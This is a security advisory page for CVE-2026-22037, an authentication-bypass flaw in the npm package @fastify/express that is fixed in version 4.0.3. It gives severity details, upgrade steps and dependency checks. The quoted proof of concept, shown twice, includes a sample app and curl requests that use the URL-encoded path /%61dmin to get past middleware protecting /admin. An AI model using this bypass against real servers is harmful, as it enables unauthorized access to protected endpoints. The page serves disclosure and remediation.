CVE-2026-22037: @fastify/express @fastify/express Vulnerable To Improper Handling Vulnerability

HIGH
Advisory Identifier: GHSA-g6q3-96cp-5r5m
CVSS 8.4
CWE-177 CWE-288
Published
Advisory Summary

CVE-2026-22037 is a HIGH (CVSS 8.4) @fastify/express vulnerable to improper handling vulnerability (CWE-177: Improper Handling of URL Encoding (Hex Encoding)) affecting @fastify/express libraries in the npm ecosystem. The issue involves @fastify/express vulnerable to improper handling of url encoding (hex encoding). Remediation is available by upgrading affected packages to version 4.0.3.

CVE-2026-22037 at a Glance

CVE Identifier CVE-2026-22037
GHSA Identifier GHSA-g6q3-96cp-5r5m
Severity HIGH
CVSS v3.1 Base Score 8.4
CWE Classification CWE-177: Improper Handling of URL Encoding (Hex Encoding)
Affected Product @fastify/express
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-22037

To remediate this vulnerability, upgrade all affected @fastify/express dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@fastify/express fixed: 4.0.3
npm install @fastify/express@4.0.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @fastify/express

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-22037, inspect your project dependencies using npm:

npm ls @fastify/express

Analyze the terminal output to locate any version of @fastify/express in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.3), your application is affected.

Note: The npm ls @fastify/express command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-177: Improper Handling of URL Encoding (Hex Encoding), where the product does not properly handle when all or part of an input has been url encoded. In @fastify/express, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. ### Details The vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths. ### PoC **Step 1:** Run the following Fastify application (save as `app.js`): ```javascript const fastify = require('fastify')({ logger: true }); async function start() { // Register fastify-express for Express-style middleware support await fastify.register(require('@fastify/express')); // Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); }); // Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; }); fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; }); fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin dashboard' }; }); // Start server try { await fastify.listen({ port: 3000 }); } catch (err) { fastify.log.error(err); process.exit(1); } } start(); ``` **Step 2:** Execute the attack. ``` ➜ ~ curl http://206.189.140.29:3000/%61dmin <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /%61dmin</pre> </body> </html> (fastify express) ➜ ~ curl http://206.189.140.29:3000/%61dmin {"message":"Admin panel"} ``` It differs from [CVE-2026-22031](https://nvd.nist.gov/vuln/detail/CVE-2026-22031) because this is a different npm module with its own code.

CVE-2026-22037 Affected @fastify/express Versions

1 component(s)
Fixed Versions:
4.0.3
Product / Package Ecosystem Affected Versions Fixed Version
@fastify/express
npm
< 4.0.3
4.0.3

References

Frequently Asked Questions

What is CVE-2026-22037?
CVE-2026-22037 is a security vulnerability in @fastify/express involving @fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding) under CWE-177: Improper Handling of URL Encoding (Hex Encoding).
Which @fastify/express versions are affected?
Affected versions include releases prior to 4.0.3 across affected packages: @fastify/express.
What version fixes CVE-2026-22037?
Upgrading to 4.0.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @fastify/express affected?
Yes, @fastify/express is affected in releases prior to 4.0.3. Upgrade your dependency to 4.0.3 or later.
What is the CVSS score of CVE-2026-22037?
CVE-2026-22037 has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L.
What CWE is associated with CVE-2026-22037?
CVE-2026-22037 is classified under CWE-177: Improper Handling of URL Encoding (Hex Encoding) (The product does not properly handle when all or part of an input has been URL encoded.).
How can I check npm dependencies for CVE-2026-22037?
Run the dependency tree command: 'npm ls @fastify/express'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g6q3-96cp-5r5m",
  "modified" : "2026-01-20T16:35:21Z",
  "published" : "2026-01-20T16:35:21Z",
  "aliases" : [ "CVE-2026-22037" ],
  "summary" : "@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)",
  "details" : "### Summary\nA security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths.\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n\n```javascript\nconst fastify = require('fastify')({ logger: true });\n\nasync function start() {\n  // Register fastify-express for Express-style middleware support\n  await fastify.register(require('@fastify/express'));\n\n  // Middleware to block /admin route\n  fastify.use('/admin', (req, res, next) => {\n    res.statusCode = 403;\n    res.end('Forbidden: Access to /admin is blocked');\n  });\n\n  // Sample routes\n  fastify.get('/', async (request, reply) => {\n    return { message: 'Welcome to the homepage' };\n  });\n\n  fastify.get('/admin', async (request, reply) => {\n    return { message: 'Admin panel' };\n  });\n\n  fastify.get('/admin/dashboard', async (request, reply) => {\n    return { message: 'Admin dashboard' };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3000 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n\n```\n➜  ~ curl http://206.189.140.29:3000/%61dmin\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot GET /%61dmin</pre>\n</body>\n</html>\n\n(fastify express)\n\n➜  ~ curl http://206.189.140.29:3000/%61dmin\n{\"message\":\"Admin panel\"}\n```\n\nIt differs from [CVE-2026-22031](https://nvd.nist.gov/vuln/detail/CVE-2026-22031) because this is a different npm module with its own code.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@fastify/express"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.0.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22037"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fastify/fastify-express"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fastify/fastify-express/releases/tag/v4.0.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-177", "CWE-288" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-20T16:35:21Z",
    "nvd_published_at" : "2026-01-19T17:15:50Z"
  }
}